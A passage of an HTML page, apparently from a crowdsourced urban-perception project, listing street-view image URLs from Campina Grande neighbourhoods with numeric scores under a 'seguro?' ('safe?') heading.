<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg 4.06540792111</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg 4.05382158098</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg 3.98664237312</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg 3.95255549604</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg 3.94511504154</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg 3.91585097788</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg 3.90309103082</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg 3.89695670262</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg 3.88161226898</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg 3.86703341295</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg 3.86540637518</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg 3.68649052847</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg 3.68275332665</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 3.67696764878</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg 3.62181824971</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 3.58494264239</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg 3.50368259227</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg 3.37983313631</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 3.33003576121</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 3.32552522253</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg 3.20031977209</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 2.49634718965</td>
</tr>
<tr>
</tr>
</table><h2>seguro?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg 5.76536538732</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg 5.71154916973</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg 5.70613491175</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg 5.67373320643</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 5.67048631695</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg 5.65875564418</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg 5.62380684518</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg 5.59958131818</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg 5.58744804957</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg 5.54682679968</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg 5.48901940272</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg 5.47340951005</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg 5.4466531091</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg 5.44304332566</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg 5.41640184016</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg 5.40958090425</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg 5.38458893357</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg 5.37987580244</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg 5.34305784835</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg 5.33866010952</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg 5.30263681813</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg 5.28758761162</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg 5.28356380268</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg 5.28124466198</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg 5.27719964056</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg 5.26504215063</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg 5.25789310329</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg 5.22155933135</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg 5.21884790227</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg 5.20299709356</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg 5.20252396566</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg 5.17758910293</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg 5.16883146121</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg 5.1661173111</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg 5.14127169125</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg 5.10663833915</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg 5.10491732831</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg 5.06771134857</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg 5.0665002673</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg 5.03357310667</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg 4.98747963076</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg 4.98352671868</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg 4.97093409136</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg 4.9694720536</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg 4.96504752974</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg 4.94747153805</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg 4.94449869534</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg 4.94076642572</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg 4.93722120043</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg 4.92408880653</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg 4.89770821904</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg 4.87172299982</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg 4.8338094611</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg 4.82059766816</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg 4.80476052052</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg 4.79897756561</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg 4.75970669673</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg 4.75830772112</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg 4.73703530702</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg 4.73297588148</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg 4.66493024125</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg 4.6428596512</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg 4.62323191615</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg 4.58405262676</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg 4.58324660947</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg 4.5326671764</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg 4.51421934517</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg 4.4886933061</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg 4.48547813996</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg 4.44796201088</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg 4.43164673934</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg 4.41202522503</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg 4.39139905467</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg 4.39092420082</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg 4.37596417748</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 4.37209807682</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg 4.35348147725</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg 4.26881475623</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg 4.26794774819</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg 4.20971354584</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg 4.18836422748</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 4.17355536693</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg 4.16753331012</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg 4.15661593507</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg 4.12019531405</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg 4.11095864367</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg 4.03400952066</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg 3.99522978434</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg 3.96654255629</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg 3.94354642071</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg 3.92460214632</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg 3.91354894477</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg 3.91333830101</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg 3.843248812</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 3.80782104658</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg 3.79475372776</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg 3.76832394249</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg 3.75707238628</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 3.68335018</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg 3.64461816104</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg 3.64091504299</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
